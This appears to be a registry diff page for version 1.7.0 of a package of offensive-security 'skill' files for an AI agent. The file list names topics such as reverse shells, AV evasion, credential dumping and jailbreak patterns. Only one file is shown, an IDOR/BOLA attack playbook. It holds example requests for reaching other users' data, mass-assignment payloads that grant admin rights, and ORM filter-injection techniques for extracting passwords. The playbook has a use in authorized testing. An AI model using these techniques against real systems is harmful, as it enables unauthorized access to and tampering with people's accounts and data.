ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,336 @@
1
+ ---
2
+ name: idor-broken-object-authorization
3
+ description: >-
4
+ IDOR and broken object authorization testing playbook. Use when requests expose object identifiers, tenant boundaries, writable fields, or missing object-level authorization checks.gated: true
5
+ ---
6
+
7
+ # SKILL: IDOR / Broken Object Level Authorization — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: IDOR is the #1 bug bounty finding. This skill covers non-obvious IDOR surfaces, all attack vectors (not just URL params), A-B testing methodology, BOLA vs BFLA distinction, chaining IDOR to higher impact, and what testers repeatedly miss.
10
+
11
+ ---
12
+
13
+ ## 1. IDOR vs BOLA vs BFLA
14
+
15
+ | Term | Meaning | Impact |
16
+ |---|---|---|
17
+ | IDOR | Insecure Direct Object Reference | Read/modify other users' data |
18
+ | BOLA | Broken Object Level Authorization (OWASP API Top 10 A1) | Same as IDOR, API terminology |
19
+ | BFLA | Broken Function Level Authorization | Low-priv user accesses HIGH-PRIV functions (e.g., admin endpoints) |
20
+
21
+ **Key distinction**:
22
+ - BOLA = accessing **object** you shouldn't own (data belonging to other users)
23
+ - BFLA = accessing **function** you shouldn't be authorized for (admin CRUD operations, bulk actions, user management)
24
+
25
+ ---
26
+
27
+ ## 2. WHERE TO FIND OBJECT IDs (ALL LOCATIONS)
28
+
29
+ Don't stop at URL path parameters — IDs appear in:
30
+
31
+ ```
32
+ URL path: GET /api/v1/users/1234/profile
33
+ URL query: GET /orders?order_id=982
34
+ Request body: {"userId": 1234, "action": "view"}
35
+ JSON fields: {"resource": {"id": 5678, "type": "invoice"}}
36
+ Headers: X-User-ID: 1234
37
+ X-Account-ID: 9999
38
+ Cookies: user_id=1234; account=org_5678
39
+ GraphQL args: query { user(id: "1234") { ... } }
40
+ Form fields: <input name="documentId" value="5678">
41
+ WebSocket msgs: {"event":"subscribe","channel_id":9999}
42
+ ```
43
+
44
+ ---
45
+
46
+ ## 3. A-B TESTING METHODOLOGY
47
+
48
+ The most systematic IDOR test approach:
49
+
50
+ ```
51
+ Step 1: Create two test accounts: UserA and UserB
52
+ Step 2: Perform all actions as UserA, capture all requests
53
+ (profile edit, order view, password change, file access, etc.)
54
+ Step 3: Note every object ID created or accessed by UserA
55
+ Step 4: Authenticate as UserB
56
+ Step 5: Replay UserA's requests using UserB's session token
57
+ Step 6: If UserB can read/modify UserA's data → BOLA confirmed
58
+
59
+ Victim matters: for real bugs, target existing users, not test accounts.
60
+ Report evidence: show UserA owns the resource, UserB accessed it.
61
+ ```
62
+
63
+ ---
64
+
65
+ ## 4. ID TYPE ITS IMPLICATIONS
66
+
67
+ | ID Pattern | Example | Notes |
68
+ |---|---|---|
69
+ | Sequential int | `id=1001` → `id=1002` | Easy prediction, high hit rate |
70
+ | UUID v4 | `550e8400-...` | Need to find UUID from other endpoints |
71
+ | UUID v1 | Clock-based UUID | Time-predictable! Extract timestamp/MAC |
72
+ | GUIDs from own data | See in responses | Collect all UUIDs from your own account data first |
73
+ | Hashed IDs | `md5(user_id)` | Try hashing sequential ints |
74
+ | Encoded IDs | base64(`{"id":1001}`) | Decode → modify → re-encode |
75
+ | Compound IDs | `/api/users/1/orders/5` | Both IDs may be independently verifiable |
76
+
77
+ ---
78
+
79
+ ## 5. HORIZONTAL vs VERTICAL PRIVILEGE ESCALATION
80
+
81
+ **Horizontal**: UserA accesses UserB's data (same privilege level)
82
+ ```
83
+ GET /api/account/1234/statement ← you are user 5678
84
+ ```
85
+
86
+ **Vertical**: Low-priv user accesses admin-only functions
87
+ ```
88
+ POST /api/admin/users/delete ← normal user calling admin endpoint
89
+ GET /api/admin/all-users
90
+ PUT /api/users/1234/role {"role":"admin"}
91
+ ```
92
+
93
+ **Combined**: Low-priv IDOR that grants privilege escalation
94
+ ```
95
+ GET /api/v1/users/1/details → read admin user's auth token
96
+ ```
97
+
98
+ ---
99
+
100
+ ## 6. HTTP METHOD ESCALATION
101
+
102
+ When `GET /resource/1234` is properly restricted, test ALL other verbs:
103
+
104
+ ```http
105
+ GET /api/v1/users/UserA_ID ← might be blocked
106
+ POST /api/v1/users/UserA_ID ← different code path, might not check authz
107
+ PUT /api/v1/users/UserA_ID ← update another user's data
108
+ DELETE /api/v1/users/UserA_ID ← delete another user's account
109
+ PATCH /api/v1/users/UserA_ID ← partial update (often missed in authz checks)
110
+ ```
111
+
112
+ **Why this works**: Authorization logic is often implemented per-method, and developers forget edge cases.
113
+
114
+ ---
115
+
116
+ ## 7. PARAMETER POLLUTION & TYPE CONFUSION
117
+
118
+ When `id=1234` is validated, try:
119
+ ```
120
+ id[]=1234&id[]=5678 ← array — app may use first or last
121
+ id=5678&id=1234 ← duplicate — app may prefer first or last
122
+ {"id": "1234"} ← string vs int: might hit different code path
123
+ {"id": [1234]} ← array in JSON
124
+ {"userId": 1234, "id": 5678} ← two ID fields — which is used for authz?
125
+ ```
126
+
127
+ **JSON Type Confusion**:
128
+ ```json
129
+ {"userId": "1234"} vs {"userId": 1234}
130
+ ```
131
+ Some ORMs handle string vs integer differently in queries.
132
+
133
+ ---
134
+
135
+ ## 8. BFLA (FUNCTION LEVEL) ATTACKS
136
+
137
+ ### Common BFLA Endpoints to Test
138
+
139
+ ```http
140
+ # User management (admin-only in design):
141
+ GET /api/v1/admin/users
142
+ DELETE /api/v1/users/{any_user_id}
143
+ PUT /api/v1/users/{user_id}/role
144
+
145
+ # Bulk operations:
146
+ POST /api/v1/users/bulk-delete
147
+ GET /api/v1/export/all-data
148
+
149
+ # Billing/payment admin:
150
+ POST /api/v1/admin/subscription/modify
151
+ GET /api/v1/admin/payments/all
152
+
153
+ # Internal reporting:
154
+ GET /api/v1/reports/all-users-activity
155
+ ```
156
+
157
+ ### How to Find Hidden Admin Endpoints
158
+ 1. Read JS bundles — admin routes often exposed in frontend code
159
+ 2. Look at API docs (Swagger/OpenAPI) for "admin", "internal", "privileged" tags
160
+ 3. Enumerate `/api/v1/admin/**`, `/api/v1/manage/**`, `/api/v1/internal/**`
161
+ 4. Burp "Discover Content" on API base path
162
+ 5. Compare regular user docs vs admin section docs if available
163
+
164
+ ---
165
+
166
+ ## 9. INDIRECT IDOR (REFERENCE CHAIN)
167
+
168
+ App checks permission on **object A** but doesn't check ownership of **referenced object B**:
169
+
170
+ **Example**:
171
+ ```
172
+ UserA has permission to read their own messages.
173
+ GET /api/messages/1234 → checks: "does user own message 1234?" ✓
174
+
175
+ But: messages have attachments.
176
+ GET /api/attachments/5678 → doesn't check: "does attachment belong to message owned by user?"
177
+ ```
178
+
179
+ Test: access attachments/sub-resources directly via their IDs without going through parent endpoint.
180
+
181
+ **GraphQL variant**: Inline querying related objects without separate authorization:
182
+ ```graphql
183
+ query {
184
+ myProfile {
185
+ followers {
186
+ privateEmail ← accessing private field of OTHER users via relationship
187
+ }
188
+ }
189
+ }
190
+ ```
191
+
192
+ ---
193
+
194
+ ## 10. MASS ASSIGNMENT → PRIVILEGE ESCALATION
195
+
196
+ When POST/PUT takes a JSON body, properties in the underlying model may be settable even if not in the official API docs:
197
+
198
+ ```json
199
+ POST /api/v1/register
200
+ {
201
+ "username": "attacker",
202
+ "email": "a@evil.com",
203
+ "password": "password",
204
+ "role": "admin", ← hidden field
205
+ "isAdmin": true, ← hidden field
206
+ "verified": true, ← skip email verification
207
+ "creditBalance": 9999 ← give self credits
208
+ }
209
+ ```
210
+
211
+ **How to find hidden fields**:
212
+ 1. Intercept admin "create user" vs normal "register" — diff the fields
213
+ 2. Read API documentation for all possible fields
214
+ 3. Check source code if available (GitHub, JS bundles)
215
+ 4. Fuzz with Burp: add common property names and check for `200` vs `400`
216
+
217
+ ---
218
+
219
+ ## 11. STATE MACHINE ABUSE (BUSINESS LOGIC IDOR)
220
+
221
+ When resources have a status/state:
222
+ ```
223
+ order.status: pending → confirmed → shipped → delivered
224
+ ```
225
+
226
+ Test: Can you skip states?
227
+ ```
228
+ PUT /api/orders/1234 {"status": "delivered"} ← from "pending"
229
+ PUT /api/orders/1234 {"status": "refunded"} ← from "pending" (skip shipped)
230
+ ```
231
+
232
+ Can you set another user's order status?
233
+ ```
234
+ PUT /api/orders/UserA_order_id {"status": "cancelled"} ← as UserB
235
+ ```
236
+
237
+ ---
238
+
239
+ ## 12. QUICK IDOR CHECKLIST
240
+
241
+ ```
242
+ □ Create 2 accounts (UserA + UserB)
243
+ □ Map all API calls that contain object IDs (Burp History export filter)
244
+ □ Test all HTTP verbs on each endpoint
245
+ □ Test ID in all locations: path, body, header, query, cookie
246
+ □ Try sequential IDs (−1, +1 from your own)
247
+ □ Try UUIDs/GUIDs collected from your own account data
248
+ □ Test sub-resources (attachments, comments, transactions)
249
+ □ Test admin endpoints directly (BFLA)
250
+ □ Test POST/PUT body for extra fields (mass assignment)
251
+ □ Compare JSON response field count vs documented fields (hidden fields)
252
+ □ Test state/status field modification
253
+ ```
254
+
255
+ ---
256
+
257
+ ## 13. SYSTEMATIC IDOR TESTING — 8 CATEGORIES
258
+
259
+ | # | Category | Test Method |
260
+ |---|---|---|
261
+ | 1 | Direct ID reference | Change numeric/UUID ID in URL: `/api/users/123` → `/api/users/124` |
262
+ | 2 | Predictable UUID | If UUIDs are v1 (time-based), adjacent IDs are calculable |
263
+ | 3 | Batch/bulk operations | `/api/users/bulk?ids=123,456` — add other users' IDs |
264
+ | 4 | Export/download | Export endpoint leaks other users' data: `/export?user_id=*` |
265
+ | 5 | Linked object IDOR | Change `order.address_id` to another user's address |
266
+ | 6 | Resource replacement | Update own profile with another user's resource ID → overwrites |
267
+ | 7 | Write IDOR | PUT/PATCH/DELETE with other user's ID — modify/delete their data |
268
+ | 8 | Nested object | `/api/orgs/1/users/2` — change org ID to access other org's users |
269
+
270
+ ### Testing Flow
271
+
272
+ ```
273
+ 1. Create two test accounts (A and B)
274
+ 2. Perform all CRUD operations as A, capture all request IDs
275
+ 3. Replay each request replacing A's IDs with B's IDs
276
+ 4. Check: Can A read B's data? Modify? Delete?
277
+ 5. Test with: numeric IDs, UUIDs, slugs, encoded values
278
+ 6. Test across: URL path, query params, JSON body, headers
279
+ ```
280
+
281
+ ---
282
+
283
+ ## 14. ORM FILTER CHAIN LEAKS
284
+
285
+ ### Django ORM Filter Injection
286
+
287
+ ```python
288
+ # Vulnerable: User.objects.filter(**request.data)
289
+ # Attacker sends: {"password__startswith": "a"}
290
+ # Django translates to: WHERE password LIKE 'a%'
291
+
292
+ # Character-by-character extraction:
293
+ POST /api/users/
294
+ {"username": "admin", "password__startswith": "a"} → 200 (match)
295
+ {"username": "admin", "password__startswith": "b"} → 404 (no match)
296
+ # Iterate through charset for each position
297
+
298
+ # Relational traversal:
299
+ {"author__user__password__startswith": "a"}
300
+ # Traverses: Author → User → password field
301
+
302
+ # On MySQL: ReDoS via regex
303
+ {"email__regex": "^(a+)+$"} → CPU spike if match exists
304
+ ```
305
+
306
+ ### Prisma Filter Injection
307
+
308
+ ```json
309
+ // Vulnerable: prisma.user.findMany({ where: req.body })
310
+ // Attacker sends nested include/select:
311
+ {
312
+ "include": {
313
+ "posts": {
314
+ "include": {
315
+ "author": {
316
+ "select": {"password": true}
317
+ }
318
+ }
319
+ }
320
+ }
321
+ }
322
+ // Leaks password field through relation traversal
323
+ ```
324
+
325
+ ### Ransack (Ruby on Rails)
326
+
327
+ ```
328
+ # Ransack allows search predicates via query params:
329
+ GET /users?q[password_cont]=admin
330
+ # Searches: WHERE password LIKE '%admin%'
331
+
332
+ # Character extraction:
333
+ GET /users?q[password_start]=a → count results
334
+ GET /users?q[password_start]=ab → narrow down
335
+ # Tool: plormber (automated Ransack extraction)
336
+ ```